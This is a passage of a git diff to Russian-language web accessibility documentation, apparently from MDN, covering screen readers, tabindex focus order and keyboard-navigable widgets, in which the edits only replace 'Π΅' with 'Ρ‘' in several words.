<li>ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΎΠ±ΡŠΡΠ²ΠΈΡ‚ΡŒ элСмСнт ΠΊΠ°ΠΊ чСкбокс ΠΈ ΠΏΡ€ΠΈ нСобходимости ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ инструкции ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊ Π΅Π³ΠΎ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.</li>
</ul>
-<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> МнСния ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ³ΠΎ, как ассистивныС Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² Ρ‚Π°ΠΊΠΈΡ… случаях, ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ, привСдСнная Π²Ρ‹ΡˆΠ΅, Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ½Π΅Π½ΠΈΠΉ, ΠΈ Π½Π΅ являСтся Π½ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²ΠΎΠΌ.</div>
+<div class="note"><strong>Π—Π°ΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> МнСния ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ‚ΠΎΠ³ΠΎ, как ассистивныС Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π² Ρ‚Π°ΠΊΠΈΡ… случаях, ΠΎΡ‚Π»ΠΈΡ‡Π°ΡŽΡ‚ΡΡ. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ, привСдённая Π²Ρ‹ΡˆΠ΅, Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ΄Π½ΠΎ ΠΈΠ· Ρ‚Π°ΠΊΠΈΡ… ΠΌΠ½Π΅Π½ΠΈΠΉ, ΠΈ Π½Π΅ являСтся Π½ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΠ²ΠΎΠΌ.</div>
<h2 id="Π›ΡƒΡ‡ΡˆΠΈΠ΅_ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ">Π›ΡƒΡ‡ΡˆΠΈΠ΅ ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠΈ</h2>
diff --git a/files/ru/web/accessibility/index.html b/files/ru/web/accessibility/index.html
index 5906df0a22..4caa565c8a 100644
--- a/files/ru/web/accessibility/index.html
+++ b/files/ru/web/accessibility/index.html
@@ -13,7 +13,7 @@ translation_of: Web/Accessibility
<p>Π’Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΎΠ±Π»Π΅Π³Ρ‡Π°ΡŽΡ‚ Тизнь ΠΌΠ½ΠΎΠ³ΠΈΠΌ людям. А людям с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π΄Π°ΡŽΡ‚ Ρ‚Π°ΠΊΠΈΠ΅ возмоТности, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ€Π°Π½Π΅Π΅ ΠΈΠΌ Π±Ρ‹Π»ΠΈ нСдоступны. Π”ΠΎΡΡ‚ΡƒΠΏΠ½ΠΎΡΡ‚ΡŒ Π² контСкстС Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΠΎΠ΄Ρ€Π°Π·ΡƒΠΌΠ΅Π²Π°Π΅Ρ‚ созданиС Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΌΠΎΠ³ Π±Ρ‹ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ, нСсмотря Π½Π° ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ физичСскиС ΠΈΠ»ΠΈ ΠΊΠΎΠ³Π½ΠΈΡ‚ΠΈΠ²Π½Ρ‹Π΅ способности ΠΈ Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΎΠ½ΠΈ ΠΏΠΎΠ»ΡƒΡ‡Π°ΡŽΡ‚ доступ Π² ΡΠ΅Ρ‚ΡŒ.</p>
-<p>Β«Π’Π΅Ρ€ΠΌΠΈΠ½ "ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ возмоТности" часто примСняСтся для описания возмоТности использования ΠΈΠ»ΠΈ удобства использования систСмы людьми с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ½Π²Π°Π»ΠΈΠ΄Π°ΠΌΠΈ Π½Π° крСслах-колясках. Π­Ρ‚ΠΎ понятиС слСдуСт ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ½ΠΎ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΡˆΡ€ΠΈΡ„Ρ‚ Брайля, пандусы для ΠΈΠ½Π²Π°Π»ΠΈΠ΄ΠΎΠ² Π½Π° крСслах-колясках, Π°ΡƒΠ΄ΠΈΠΎ-сигналы Π½Π° ΠΏΠ΅ΡˆΠ΅Ρ…ΠΎΠ΄Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°Ρ…, ΠΎΠ±ΠΎΡ€ΡƒΠ΄ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ€ΠΈΡ„Π»Π΅Π½ΠΎΠΉ Ρ‚Π°ΠΊΡ‚ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΏΠ»ΠΈΡ‚ΠΊΠΎΠΉ ΠΏΠ΅ΡˆΠ΅Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π΅Π±-сайтов ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Π‘Ρ‚Π°Ρ‚ΡŒΡ Accessibility Π² английской Π’ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ</a></p>
+<p>Β«Π’Π΅Ρ€ΠΌΠΈΠ½ "ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ возмоТности" часто примСняСтся для описания возмоТности использования ΠΈΠ»ΠΈ удобства использования систСмы людьми с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΠΈ возмоТностями, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ½Π²Π°Π»ΠΈΠ΄Π°ΠΌΠΈ Π½Π° крСслах-колясках. Π­Ρ‚ΠΎ понятиС слСдуСт ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ ΡˆΠΈΡ€ΠΎΠΊΠΎ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΎΠ½ΠΎ ΠΎΡ…Π²Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΡˆΡ€ΠΈΡ„Ρ‚ Брайля, пандусы для ΠΈΠ½Π²Π°Π»ΠΈΠ΄ΠΎΠ² Π½Π° крСслах-колясках, Π°ΡƒΠ΄ΠΈΠΎ-сигналы Π½Π° ΠΏΠ΅ΡˆΠ΅Ρ…ΠΎΠ΄Π½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°Ρ…, ΠΎΠ±ΠΎΡ€ΡƒΠ΄ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ€ΠΈΡ„Π»Ρ‘Π½ΠΎΠΉ Ρ‚Π°ΠΊΡ‚ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΏΠ»ΠΈΡ‚ΠΊΠΎΠΉ ΠΏΠ΅ΡˆΠ΅Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄ΠΎΡ€ΠΎΠΆΠΊΠΈ, Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ Π²Π΅Π±-сайтов ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Π‘Ρ‚Π°Ρ‚ΡŒΡ Accessibility Π² английской Π’ΠΈΠΊΠΈΠΏΠ΅Π΄ΠΈΠΈ</a></p>
<p>"<strong>Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΈΠ°Π»ΡŒΠ½ΠΎ создан для всСх людСй Π½Π° Π—Π΅ΠΌΠ»Π΅,</strong> нСзависимо ΠΎΡ‚ ΠΈΡ… Π°ΠΏΠΏΠ°Ρ€Π°Ρ‚Π½Ρ‹Ρ…, ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Ρ…, языковых, ΠΊΡƒΠ»ΡŒΡ‚ΡƒΡ€Π½Ρ‹Ρ…, Ρ‚Π΅Ρ€Ρ€ΠΈΡ‚ΠΎΡ€ΠΈΠ°Π»ΡŒΠ½Ρ‹Ρ…, физичСских ΠΈΠ»ΠΈ умствСнных способностСй." <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p>
diff --git a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html
index 6e67f41591..4c7755c6a1 100644
--- a/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html
+++ b/files/ru/web/accessibility/keyboard-navigable_javascript_widgets/index.html
@@ -40,12 +40,12 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
<tr>
<td>ΠΡƒΠ»ΡŒ (<code>tabindex="0"</code>)</td>
<td>Π’ΠΎΠ·ΠΌΠΎΠΆΠ΅Π½</td>
- <td>ΠŸΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎ, исходя ΠΈΠ· ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ элСмСнта Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</td>
+ <td>ΠŸΡ€ΠΎΠΈΡΡ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎ, исходя ΠΈΠ· ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ элСмСнта Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°</td>
</tr>
<tr>
<td>Π‘ΠΎΠ»Π΅Π΅ нуля (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>tabindex="33"</code>)</td>
<td>Π’ΠΎΠ·ΠΌΠΎΠΆΠ΅Π½</td>
- <td>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>tabindex</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‡Π΅Ρ€Π΅Π΄Π½ΠΎΡΡ‚ΡŒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ фокус. Π§Π΅ΠΌ мСньшС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Ρ‚Π΅ΠΌ Ρ€Π°Π½ΡŒΡˆΠ΅ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ фокус. Π’ любом случаС, фокус ΠΏΡ€ΠΈΠ΄Π΅Ρ‚ Π½Π° Ρ‚Π°ΠΊΠΈΠ΅ элСмСнты Ρ€Π°Π½ΡŒΡˆΠ΅, Ρ‡Π΅ΠΌ Π½Π° элСмСнты с <code>tabindex="0"</code> ΠΈ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ способны ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ фокус Π±Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>tabindex</code> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>tabindex="7"</code> ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ фокус Ρ€Π°Π½ΡŒΡˆΠ΅ <code>tabindex="11"</code>)</td>
+ <td>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>tabindex</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‡Π΅Ρ€Ρ‘Π΄Π½ΠΎΡΡ‚ΡŒ, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ фокус. Π§Π΅ΠΌ мСньшС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, Ρ‚Π΅ΠΌ Ρ€Π°Π½ΡŒΡˆΠ΅ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ фокус. Π’ любом случаС, фокус ΠΏΡ€ΠΈΠ΄Ρ‘Ρ‚ Π½Π° Ρ‚Π°ΠΊΠΈΠ΅ элСмСнты Ρ€Π°Π½ΡŒΡˆΠ΅, Ρ‡Π΅ΠΌ Π½Π° элСмСнты с <code>tabindex="0"</code> ΠΈ элСмСнты, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ способны ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ фокус Π±Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>tabindex</code> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, <code>tabindex="7"</code> ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ фокус Ρ€Π°Π½ΡŒΡˆΠ΅ <code>tabindex="11"</code>)</td>
</tr>
</tbody>
</table>
@@ -54,7 +54,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ простой Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ доступным Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ»Π°Π²ΠΈΡˆΡƒ Tab, Π·Π°Π΄Π°ΠΉΡ‚Π΅ <code>tabindex="0"</code> Π½Π° HTML элСмСнтах {{HTMLElement("div")}} ΠΈΠ»ΠΈ {{HTMLElement("span")}}, ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ½ состоит. НиТС прСдставлСн ΠΏΡ€ΠΈΠΌΠ΅Ρ€ эмулирования чСкбоксов. ВмСсто элСмСнтов input Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ {{HTMLElement("span")}}.</p>
-<p><em>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1: ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚, ΡΠΌΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π±ΠΎΡ‚Ρƒ чСкбосов ΠΏΡƒΡ‚Π΅ΠΌ смСны ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. Π’ΠΈΠ΄ΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ tabindex, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ доступ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.</em></p>
+<p><em>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 1: ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚, ΡΠΌΡƒΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π±ΠΎΡ‚Ρƒ чСкбосов ΠΏΡƒΡ‚Ρ‘ΠΌ смСны ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ. Π’ΠΈΠ΄ΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ tabindex, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±Π΅ΡΠΏΠ΅Ρ‡ΠΈΡ‚ΡŒ доступ с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹.</em></p>
<pre class="brush: html">&lt;!-- Π‘Π΅Π· Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° tabindex, элСмСнты &lt;span&gt; Π½Π΅ смогут ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Ρ‚ΡŒ фокус с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ --&gt;
&lt;div&gt;
@@ -81,7 +81,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
<p>БСзусловно Π΅ΡΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ создания Π±ΠΎΠ»Π΅Π΅ слоТных Π²ΠΈΠ΄ΠΆΠ΅Ρ‚ΠΎΠ². Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠ² ΠΌΠΎΠΆΠ½ΠΎ привСсти мСню, ΠΏΠ°Π½Π΅Π»ΠΈ Ρ‚Π°Π±ΠΎΠ², Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ динамичСскиС Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹, прСдставлСния для ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, ΠΈΠΌΠ΅ΡŽΡ‰Π΅ΠΉ Π΄Ρ€Π΅Π²ΠΎΠ²ΠΈΠ΄Π½ΡƒΡŽ структуру. Для Ρ‚Π°ΠΊΠΈΡ… ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΎΠ² Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>tabindex="0"</code>. Π’ Ρ‚Π°ΠΊΠΎΠΌ случаС ΠΎΠ½ смоТСт ΠΏΠΎΠΏΠ°ΡΡ‚ΡŒ Π² фокус с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹. ВсС Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠ΅ элСмСнты (ΠΏΡƒΠ½ΠΊΡ‚Ρ‹ мСню, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ Ρ‚Π°Π±Ρ‹, ячСйки, строки) Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ <code>tabindex="-1"</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π΅ ΠΏΠΎΠΏΠ°Π΄Π°Ρ‚ΡŒ Π² фокус ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ tab. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΡƒΡ‚Π΅ΡˆΠ΅ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΠΌ элСмСнтам ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ стрСлочСк Π½Π° ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Π΅.</p>
-<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ дСмонстрируСт использованиС этой Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ мСню. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π² фокус ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ основной элСмСнт мСню ({{HTMLElement("ul")}}), Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ фокусом, рСагируя Π½Π° наТатия клавиш со стрСлочками. Для описания Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ управлСния фокусом Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° смотритС Ρ€Π°Π·Π΄Π΅Π» Β«Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ фокусом Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°Β» Π½ΠΈΠΆΠ΅ Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
+<p>НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ дСмонстрируСт использованиС этой Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠ³ΠΎ мСню. ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π² фокус ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ основной элСмСнт мСню ({{HTMLElement("ul")}}), Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ ΡƒΠΏΡ€Π°Π²Π»ΡΡ‚ΡŒ фокусом, рСагируя Π½Π° наТатия клавиш со стрСлочками. Для описания Ρ‚Π΅Ρ…Π½ΠΈΠΊΠΈ управлСния фокусом Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π° смотритС Ρ€Π°Π·Π΄Π΅Π» Β«Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ фокусом Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°Β» Π½ΠΈΠΆΠ΅ Π² Π΄Π°Π½Π½ΠΎΠΉ ΡΡ‚Π°Ρ‚ΡŒΠ΅.</p>
<p><em>ΠŸΡ€ΠΈΠΌΠ΅Ρ€ 2: МСню, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰Π΅Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ tabindex для осущСствлСния доступа с ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹</em></p>
@@ -98,7 +98,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
&lt;ul id="styleMenu" title="Π‘Ρ‚ΠΈΠ»ΡŒ" tabindex="-1"&gt;
&lt;li id="italic" tabindex="-1"&gt;Наклонный&lt;/li&gt;
&lt;li id="bold" tabindex="-1"&gt;Π–ΠΈΡ€Π½Ρ‹ΠΉ&lt;/li&gt;
- &lt;li id="underline" tabindex="-1"&gt;ΠŸΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ&lt;/li&gt;
+ &lt;li id="underline" tabindex="-1"&gt;ΠŸΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ΠΉ&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li id="mb1_menu3" tabindex="-1"&gt; Π’Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅
@@ -117,7 +117,7 @@ translation_of: Web/Accessibility/Keyboard-navigable_JavaScript_widgets
<h3 id="Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅_фокусом_Π²Π½ΡƒΡ‚Ρ€ΠΈ_Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°">Π£ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ фокусом Π²Π½ΡƒΡ‚Ρ€ΠΈ Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°</h3>
-<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΡƒΡ…ΠΎΠ΄ΠΈΡ‚ с Π²ΠΈΠ΄ΠΆΠ΅Ρ‚Π°, Π° ΠΏΠΎΡ‚ΠΎΠΌ возвращаСтся ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ, фокус Π΄ΠΎΠ»ΠΆΠ΅Π½ вСрнутся Π½Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ элСмСнт, Ρƒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Ρ‹Π» фокус Ρ€Π°Π½ΡŒΡˆΠ΅. НапримСр, Π½Π° ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹ΠΉ элСмСнт Π΄Π΅Ρ€Π΅Π²Π° ΠΈΠ»ΠΈ ячСйку. Π•ΡΡ‚ΡŒ Π΄Π²Π° Π²Π°Ρ€ΠΈΠ°Π½Ρ‚Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ этого ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ:</p>
